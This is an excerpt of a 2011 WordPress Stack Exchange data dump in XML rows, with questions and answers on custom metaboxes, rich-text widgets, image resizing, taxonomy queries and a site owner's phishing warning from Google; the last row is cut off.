  <row Id="21641" PostTypeId="1" AcceptedAnswerId="21665" CreationDate="2011-06-30T18:47:03.180" Score="1" ViewCount="174" Body="&lt;p&gt;Been looking around for an alternative to this method:&#xA;&lt;a href=&quot;http://allcreatives.net/2011/02/02/using-the-native-wordpress-tinymce-wysiwyg-editor-with-your-custom-post-meta-textareas/&quot; rel=&quot;nofollow&quot;&gt;http://allcreatives.net/2011/02/02/using-the-native-wordpress-tinymce-wysiwyg-editor-with-your-custom-post-meta-textareas/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the WYSIWYG capability to custom metaboxes. You get so little control with this method, is there any other way?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-07-07T15:47:04.963" Title="Add TinyMCE to CPT metaboxes in 3.1?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21642" PostTypeId="1" AcceptedAnswerId="24803" CreationDate="2011-06-30T18:50:14.753" Score="0" ViewCount="35" Body="&lt;p&gt;I am using Register Plus Redux. I don't know what happened exactly but after I upgraded to 3.1.4, the password provided on registration isn't recognized. I have to go in using admin account and set the password again. This does not happen with the default registration form though. I don't where to contact the author, if this isn't appropriate feel free to delete it.&lt;/p&gt;&#xA;" OwnerUserId="6232" LastActivityDate="2011-08-03T14:04:24.243" Title="Cannot login due to incorrect password right after registration?" Tags="&lt;register&gt;" AnswerCount="1" />
  <row Id="21643" PostTypeId="1" CreationDate="2011-06-30T18:01:31.367" Score="0" ViewCount="120" Body="&lt;p&gt;What is going on with these projects? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What versions are out there?&lt;/li&gt;&#xA;&lt;li&gt;What's getting dropped or added?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far, I understand that BuddyPress has taken over bbPress. I've also heard that WordPress is integrating bbPress, and BuddyPress is talking about integrating bbPress in 1.4. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very confused. I applaud both of them for taking over bbPress, buttrying to find support on the bbPress site is very difficult.&lt;/p&gt;&#xA;" OwnerUserId="3178" LastActivityDate="2011-06-30T19:14:23.860" Title="What's the status of WordPress, BuddyPress, and bbPress?" Tags="&lt;buddypress&gt;&lt;bbpress&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="21644" PostTypeId="2" ParentId="21643" CreationDate="2011-06-30T19:04:05.240" Score="4" ViewCount="" Body="&lt;p&gt;The current stable version of WordPress is 3.1.4 and upcoming (currently RC) is 3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current stable version of BuddyPress is 1.2.8, it is released &lt;a href=&quot;http://wordpress.org/extend/plugins/buddypress/&quot; rel=&quot;nofollow&quot;&gt;as WP plugin&lt;/a&gt; and not taking over anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current stable version of bbPress is 1.0.3 &lt;a href=&quot;http://bbpress.org/download/&quot; rel=&quot;nofollow&quot;&gt;as standalone software&lt;/a&gt; and it is being migrated &lt;a href=&quot;http://wordpress.org/extend/plugins/bbpress/&quot; rel=&quot;nofollow&quot;&gt;to WP plugin&lt;/a&gt;, currently in beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically bbPress is getting much easier to integrate with WP and so BuddyPress as well.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-30T19:04:05.240" />
  <row Id="21645" PostTypeId="2" ParentId="21637" CreationDate="2011-06-30T19:04:49.260" Score="2" ViewCount="" Body="&lt;p&gt;One obvious, but probably not satisfactory, solution would be to disable the visual editor for these pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to really keep editors off sensitive markup, you should create a page template, like Cronco suggests. If you find that you have several editable parts, you can store them as custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, editing these custom fields through the default admin interface would be as far from WYSIWYG as you can get. You can make it better by using &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt;, which allows you to &lt;a href=&quot;https://github.com/scribu/wp-front-end-editor/wiki/Editing-custom-fields&quot; rel=&quot;nofollow&quot;&gt;edit custom fields&lt;/a&gt; inline.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-30T19:04:49.260" />
  <row Id="21647" PostTypeId="2" ParentId="21643" CreationDate="2011-06-30T19:14:23.860" Score="1" ViewCount="" Body="&lt;p&gt;I think your confusion comes from the fact that one of the lead developers of BuddyPress, namely John James Jacoby, has also taken over development of the bbPress plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The projects themselves remain separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further note: BuddyPress currently bundles the bbPress standalone version mentioned by Rarst. In the future, it will switch to the plugin version.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-30T19:14:23.860" />
  <row Id="21648" PostTypeId="2" ParentId="21572" CreationDate="2011-06-30T19:18:04.477" Score="0" ViewCount="" Body="&lt;p&gt;Similar to the first answer, but there is also the function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_current_theme();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will return the name of the currently active theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_current_theme&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_current_theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6261" LastActivityDate="2011-06-30T19:18:04.477" />
  <row Id="21649" PostTypeId="1" AcceptedAnswerId="21680" CreationDate="2011-06-30T19:35:24.320" Score="0" ViewCount="54" Body="&lt;p&gt;Somewhere in my code I need to know what is the current language and display a certain custom field or another one based on this knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know this information ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-07-01T06:06:00.590" Title="WPML : how to determine manually the language in which a given page is displayed" Tags="&lt;plugin-wpml&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21650" PostTypeId="1" AcceptedAnswerId="21652" CreationDate="2011-06-30T19:46:28.820" Score="2" ViewCount="116" Body="&lt;p&gt;I've seen a few plugins that add rich text editing to the default &quot;Text&quot; Widget. However, all of the ones I've tested are either too complicated (or try to do too much) or don't work properly with the latest WP versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for a simple rich text toolbar with a minimal feature set (basic formatting and lists), image upload and hyperlink tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to find one that does not require a separate window to handle rich text. Just a simple tab to switch between html and wysiwyg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or recommendations?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-05T21:04:08.007" Title="Simple rich text editor in Text widget?" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;wysiwyg&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21651" PostTypeId="2" ParentId="21634" CreationDate="2011-06-30T19:54:43.450" Score="2" ViewCount="" Body="&lt;p&gt;I choose the third option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-image-sizes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-image-sizes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generates custom thumbnail sizes on the fly, while still being integrated into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, with that plugin around, you should never need to use TimThumb again.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-30T22:29:32.737" LastActivityDate="2011-06-30T22:29:32.737" CommentCount="2" />
  <row Id="21652" PostTypeId="2" ParentId="21650" CreationDate="2011-06-30T20:09:28.090" Score="2" ViewCount="" Body="&lt;p&gt;I've never found one that was reliable and/or not a huge resource/memory drain. :( I ended up using the very handy &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-in-widget/&quot; rel=&quot;nofollow&quot;&gt;Page in Widget&lt;/a&gt;&quot; plugin instead - it has the advantage of all the functionality of a regular editable page and your widget content won't accidentally get wiped, which has happened to me far too often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry not to have the perfect solution. Will check back to see if others do! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michelle&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditorDisplayName="" LastEditDate="2011-07-05T21:04:08.007" LastActivityDate="2011-07-05T21:04:08.007" />
  <row Id="21653" PostTypeId="2" ParentId="21636" CreationDate="2011-06-30T20:56:45.263" Score="2" ViewCount="" Body="&lt;p&gt;get_page_by_title returns an id not content. here is an example of what I use to get content from a certain page id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;call the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_id = get_page_by_title('title');&#xA;$excerpt =  get_excerpt_by_id($page_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_excerpt_by_id($post_id) {&#xA;   global $wpdb;&#xA;   $query = &quot;SELECT post_content FROM $wpdb-&amp;gt;posts WHERE ID = $post_id LIMIT 1&quot;;&#xA;   $result = $wpdb-&amp;gt;get_results($query, ARRAY_A);&#xA;   return $result[0]['post_content'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6649" LastActivityDate="2011-06-30T20:56:45.263" CommentCount="1" />
  <row Id="21654" PostTypeId="1" CreationDate="2011-06-30T21:01:09.540" Score="0" ViewCount="67" Body="&lt;p&gt;I just found the following warning on google webmaster tools, what is advised for me to do?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dear site owner or webmaster of &lt;a href=&quot;http://yonitmozes.com/&quot; rel=&quot;nofollow&quot;&gt;http://yonitmozes.com/&lt;/a&gt;,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We recently discovered that some pages on your site look like a possible phishing attack, in which users are encouraged to give up sensitive information such as login credentials or banking information. We have removed the suspicious URLs from Google.com search results and have begun showing a warning page to users who visit these URLs in certain browsers that receive anti-phishing data from Google.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Below are one or more example URLs on your site which may be part of a phishing attack:&lt;br&gt;&#xA;  &lt;a href=&quot;http://www.yonitmozes.com/~creativo/rbc/.secure/&quot; rel=&quot;nofollow&quot;&gt;http://www.yonitmozes.com/~creativo/rbc/.secure/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here is a link to a sample warning page:&lt;br&gt;&#xA;  &lt;a href=&quot;http://www.google.com/interstitial?url=http://www.yonitmozes.com/~creativo/rbc/.secure/&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/interstitial?url=http://www.yonitmozes.com/~creativo/rbc/.secure/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We strongly encourage you to investigate this immediately to protect users who are being directed to a suspected phishing attack being hosted on your web site. Although some sites intentionally host such attacks, in many cases the webmaster is unaware because:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;the site was compromised&lt;/li&gt;&#xA;  &lt;li&gt;the site doesn't monitor for malicious user-contributed content&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;If your site was compromised, it's important to not only remove the content involved in the phishing attack, but to also identify and fix the vulnerability that enabled such content to be placed on your site. We suggest contacting your hosting provider if you are unsure of how to proceed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Once you've secured your site, and removed the content involved in the suspected phishing attack, or if you believe we have made an error and this is not actually a phishing attack, you can request that the warning be removed by visiting this page, and reporting an &quot;incorrect forgery alert.&quot; We will review this request and take the appropriate actions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sincerely,&lt;br&gt;&#xA;  Google Search Quality Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-07-06T07:12:24.777" LastActivityDate="2011-07-06T07:12:24.777" ClosedDate="2011-06-30T21:18:46.577" Title="My site is attacked by a phishing scheme - what to do?" Tags="&lt;security&gt;&lt;hacked&gt;&lt;phishing&gt;" CommentCount="6" />
  <row Id="21655" PostTypeId="2" ParentId="21634" CreationDate="2011-06-30T21:18:16.187" Score="6" ViewCount="" Body="&lt;p&gt;WordPress image handling, without question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;only&lt;/em&gt; thing that TimThumb has that is currently not possible with core image handling is &lt;strong&gt;zoom crop&lt;/strong&gt;. Everything else can be accomplished using core image handling, &lt;em&gt;including on-the-fly resizing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see absolutely no advantage to using TimThumb, and only disadvantages. It was a great tool prior to WordPress 2.9, but has been essentially unnecessary since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages to using core system:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Familiar UI (Media Manager, &quot;Featured Image&quot; metabox), rather than custom fields&lt;/li&gt;&#xA;&lt;li&gt;Implement in template using core WordPress functions&lt;/li&gt;&#xA;&lt;li&gt;Less overhead&lt;/li&gt;&#xA;&lt;li&gt;Cross-Theme support&lt;/li&gt;&#xA;&lt;li&gt;Thumbnail image handling remains extensible via Plugin&lt;/li&gt;&#xA;&lt;li&gt;Thumbnail image handling maintains forward-compatibility with WordPress core&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-30T21:32:18.037" LastActivityDate="2011-06-30T21:32:18.037" CommentCount="3" />
  <row Id="21656" PostTypeId="2" ParentId="21650" CreationDate="2011-06-30T21:35:40.717" Score="1" ViewCount="" Body="&lt;p&gt;I've started to use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wysiwyg-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wysiwyg-widgets/&lt;/a&gt; (WYSIWYG Widgets) and it seems to work pretty well. I ran into a few weird glitches with it initially - but clicking &quot;save&quot; on the widget each time before editing it again seems to get rid of the random glitches I was seeing.&lt;/p&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2011-06-30T21:35:40.717" />
  <row Id="21657" PostTypeId="1" CreationDate="2011-06-30T21:36:27.113" Score="-1" ViewCount="17" Body="&lt;p&gt;I have a page with several slideshows on it that I would like to be controlled via the WordPress admin.  My thoughts on how to organize this would be to create 3 custom fields with comma separate values containing the URL but I do not know that is the best for the admin user.  I am looking on some insight for best practice or other methods that people would use to implement into the WordPress admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DT&lt;/p&gt;&#xA;" OwnerUserId="4519" LastActivityDate="2011-07-31T11:35:01.867" Title="Best practice for WP Page with multiple slide shows" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;wp-admin&gt;&lt;page&gt;&lt;best-practices&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21658" PostTypeId="2" ParentId="21546" CreationDate="2011-06-30T21:52:46.757" Score="0" ViewCount="" Body="&lt;p&gt;a possible conflict with the name &lt;code&gt;$posts&lt;/code&gt; which is used by wp core;&#xA;try, for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories();  &#xA;foreach($categories as $category)  &#xA;{    &#xA;  printf('&amp;lt;h2&amp;gt;%s&amp;lt;/h2&amp;gt;&amp;lt;ul&amp;gt;', $category-&amp;gt;cat_name);   &#xA;  $cat_posts = new WP_Query('cat='.$category-&amp;gt;cat_ID);   &#xA;  while($cat_posts-&amp;gt;have_posts())   &#xA;  {          &#xA;    $cat_posts-&amp;gt;the_post();     &#xA;    echo '&amp;lt;li&amp;gt;', the_title(), '&amp;lt;/li&amp;gt;';    &#xA;  }      &#xA;  print '&amp;lt;/ul&amp;gt;';   &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-30T21:52:46.757" />
  <row Id="21659" PostTypeId="1" AcceptedAnswerId="21677" CreationDate="2011-06-30T21:54:20.500" Score="0" ViewCount="38" Body="&lt;p&gt;I have my WordPress post format codes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( has_post_format( 'image' )) {&#xA;  echo 'This is a image post';&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my code to grab the first image from a post...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php $image = catch_that_image();&#xA;if( $image ) { ?&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php echo $image; ?&amp;gt;&amp;amp;amp;h=240&amp;amp;amp;w=280&quot; class=&quot;index&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how do I put the image which is grabbed into the first code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the help guys and gals, I really do appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-01T00:13:40.917" LastActivityDate="2011-07-01T05:53:04.117" Title="Help Combine These Two PHP Codes" Tags="&lt;posts&gt;&lt;php&gt;&lt;post-formats&gt;" AnswerCount="1" />
  <row Id="21660" PostTypeId="2" ParentId="21634" CreationDate="2011-06-30T21:54:44.440" Score="2" ViewCount="" Body="&lt;p&gt;In my opinion the built in &lt;code&gt;&amp;lt;?php add_image_size( $name, $width, $height, $crop ); ?&amp;gt;&lt;/code&gt; function is much more flexible, easy and with less overhead. It does resize-crop, so I don't see a reason to go back to TimThumb (which I used extensively in the past).&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T21:54:44.440" CommentCount="5" />
  <row Id="21661" PostTypeId="1" AcceptedAnswerId="22441" CreationDate="2011-06-30T22:09:39.510" Score="1" ViewCount="92" Body="&lt;p&gt;As I mentioned &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15755/hosting-alternatives-to-wordpress-com&quot;&gt;here&lt;/a&gt;, I'm planning to moving my blog to a new hosting provider from WordPress.com. I think I've settled on Page.ly as the new home for it, and I was hoping to get the benefit of experience from any of you who have transitioned an existing blog specifically from &lt;strong&gt;WordPress.com&lt;/strong&gt; to &lt;strong&gt;page.ly&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some examples of the potential issues I'm trying to ferret out:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Am I going to lose any WordPress.com specific features in the transition?&lt;/li&gt;&#xA;&lt;li&gt;Any new maintenance issues/headaches that weren't there on Wordpress.com?&lt;/li&gt;&#xA;&lt;li&gt;Any surprise &quot;Upgrade&quot; fees for things I'm used to getting for free?&lt;/li&gt;&#xA;&lt;li&gt;What information can I expect to lose in an export/import process (Site stats, dates on comments/posts/subscribed users/something else?)&lt;/li&gt;&#xA;&lt;li&gt;General tips, advice, whatever that you wish you knew before you did the move.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4933" LastEditorUserId="4933" LastEditorDisplayName="" LastEditDate="2011-07-08T19:30:25.070" LastActivityDate="2011-07-08T19:49:41.127" Title="What can I expect when moving from a hosted (WordPress.com) blog to one hosted by Page.ly" Tags="&lt;import&gt;&lt;best-practices&gt;&lt;hosting&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21662" PostTypeId="1" CreationDate="2011-06-30T22:19:08.457" Score="1" ViewCount="158" Body="&lt;p&gt;I am working on a project that has &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a custom post type called 'Experience Statement'&lt;/li&gt;&#xA;&lt;li&gt;Custom Taxonomy attached to that post type called 'Expertise'&lt;/li&gt;&#xA;&lt;li&gt;6 different terms for the custom taxonomy: Coastal, inland, marine, waterway, ship, telecommunications&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, I have created this loop, that works great and I have created 6 different template pages with this loop in each (I just change the term for each)&#xA;    &lt;code&gt;&amp;lt;?php $page = (get_query_var('paged')) ? get_query_var('paged') : 1;    query_posts(&quot;post_type=experiencestatements&amp;amp;expertise=coastal&amp;amp;showposts=10&amp;amp;paged=$page&quot;); if ( have_posts() ) : while ( have_posts() ) : the_post() ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this is working fine, but I have to create a different template page: i.e. page-exp-stmt-coastal.php for each term.  I would like to have only one template page with conditional statements for each term instead of 6 (and counting) template pages. Having 6+ different pages means I have to go in and change each one every time the client wants a tweak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, I need some help crafting a conditional tag that changes the loop depending on the taxonomy term.  AND, I have no idea how to do that.  Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Larry&lt;/p&gt;&#xA;" OwnerUserId="3836" LastActivityDate="2011-07-01T17:55:34.980" Title="Conditional Query of Custom Post Type and custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;query-posts&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="21663" PostTypeId="2" ParentId="21635" CreationDate="2011-06-30T22:21:31.320" Score="0" ViewCount="" Body="&lt;p&gt;&quot;open_basedir restriction in effect&quot; errors mean the host is very restrictive in terms of php configs. The open_basedir setting prevents scripts from reading files (via requires, includes, any of the file handing functions, etc.) from directories that are not marked as &quot;safe.&quot; It was designed to prevent users from accessing sensitive files and/or other user's files shared servers while PHP was running as &quot;nobody.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Cpanel or Plesk, etc., try switching to the CGI version of PHP using suPHP. But if you can't, find a new host.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-30T22:21:31.320" CommentCount="1" />
  <row Id="21664" PostTypeId="1" CreationDate="2011-06-30T22:42:52.120" Score="0" ViewCount="52" Body="&lt;p&gt;In my previous questions, I think I may have confused more than clarified by trying to describe my issue with fuzzy language or presenting my clunky code. This time, I'm just gonna get right to it. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two working sets of code that I need to merge together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I am able to retrieve the three values that I need for the second part of the code (attachment name, attachment tax term, attachment url).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function simple_field_test(){&#xA;    ?&amp;gt;&amp;lt;h3&amp;gt;Simple Field Test 1&amp;lt;/h3&amp;gt;&amp;lt;?php&#xA;    global $post;&#xA;    $trackID = $post-&amp;gt;ID;&#xA;    $track = simple_fields_get_post_group_values($trackID, &quot;Track&quot;, false, 2);&#xA;    foreach ($track as $value) {&#xA;    $mp3title = get_the_title($value[1]);&#xA;    $mp3artist = wp_get_object_terms($value[1], 'artist', array('fields' =&amp;gt; 'names'));&#xA;    echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'.wp_get_attachment_url($value[1]).'&quot;&amp;gt;'.$mp3artist[0].' - '.$mp3title.'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;add_action('thesis_hook_after_post', 'simple_field_test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) This is the working mp3 player code that currently pulls from a standard custom field. At the moment it is only inserting the track's url. Not the track name or artist(tax) name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for tracks Comma separated list of filenames/URI's/folders. Add titles using '@' as separator eg. Mytitle@filename.mp3&lt;br /&gt;&#xA;for captions Semi-colon separated list eg. &quot;caption 1; caption 2;&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post_meta_player&quot;&amp;gt;&#xA;&amp;lt;?&#xA;global $post;&#xA;mp3j_put( '[mp3-jplayer tracks=&quot;'.implode(', ', get_post_meta($post-&amp;gt;ID, 'Track', false)).'&quot;]');&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time and knowledge.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2011-06-30T22:42:52.120" Title="Repeating Custom Fields to Comma Separated Shortcode" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;plugin-simple-fields&gt;" />
  <row Id="21665" PostTypeId="2" ParentId="21641" CreationDate="2011-06-30T23:29:02.627" Score="4" ViewCount="" Body="&lt;p&gt;Use this class: &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then call the metabox like this (don't forget to read the manual and view some examples):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_boxes[] = array(&#xA;    'id' =&amp;gt; 'textmetabox',&#xA;    'title' =&amp;gt; 'Your Meta Box Title',&#xA;    'pages' =&amp;gt; array('post', 'slider', 'whatever-your-cpt-is'),&#xA;&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Your thoughts about Deluxe Blog Tips',&#xA;            'id' =&amp;gt; $prefix . 'thoughts',&#xA;            'type' =&amp;gt; 'wysiwyg',&#xA;            'std' =&amp;gt; '&amp;lt;b&amp;gt;It\'s great!&amp;lt;/b&amp;gt;',&#xA;            'desc' =&amp;gt; 'Do you think so?',&#xA;            'style' =&amp;gt; 'width: 300px; height: 400px'&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T23:29:02.627" CommentCount="1" />
  <row Id="21667" PostTypeId="2" ParentId="21662" CreationDate="2011-07-01T00:04:59.127" Score="1" ViewCount="" Body="&lt;p&gt;There are several ways to do this, one method is to use &lt;code&gt;get_the_terms&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic would be to run the loop and customize the output based on the terms for that taxonomy ( this will probably not work out of the box).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//do a custom query here if needed&#xA; if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA; $terms = get_the_terms($post-&amp;gt;ID, 'Expertise');&#xA;//this will return and array of terms for your Expertise taxonomy.&#xA;&#xA;   foreach ( $terms as $term ) {&#xA;&#xA;     if($term-&amp;gt;name == 'marine') {&#xA;&#xA;       // do custom stuff here &#xA;&#xA;     }elseif($term-&amp;gt;name == 'waterway') {&#xA;&#xA;       // do custom stuff here&#xA;     }elseif .... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you comment it seems like you want no custom content per term, aka the same content for all 6 terms , this can be done with just a query loop, again there are several ways to do this.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'Expertise',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'marine', 'waterway', 'you_other_terms_here' ),&#xA;        ),&#xA;&#xA;    )&#xA;)&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way is to use my original suggestion and just do a match for all &lt;code&gt;get_the_terms&lt;/code&gt; in the array you want using &lt;code&gt;in_array&lt;/code&gt; , it could be something like ( continued from original code above), but there are several way to do this in php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $terms as $term ) {&#xA;&#xA;if (in_array('marine', '$term')) &amp;amp;&amp;amp; (in_array('waterway', '$term')) &amp;amp;&amp;amp; etc..&#xA;   //do stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" 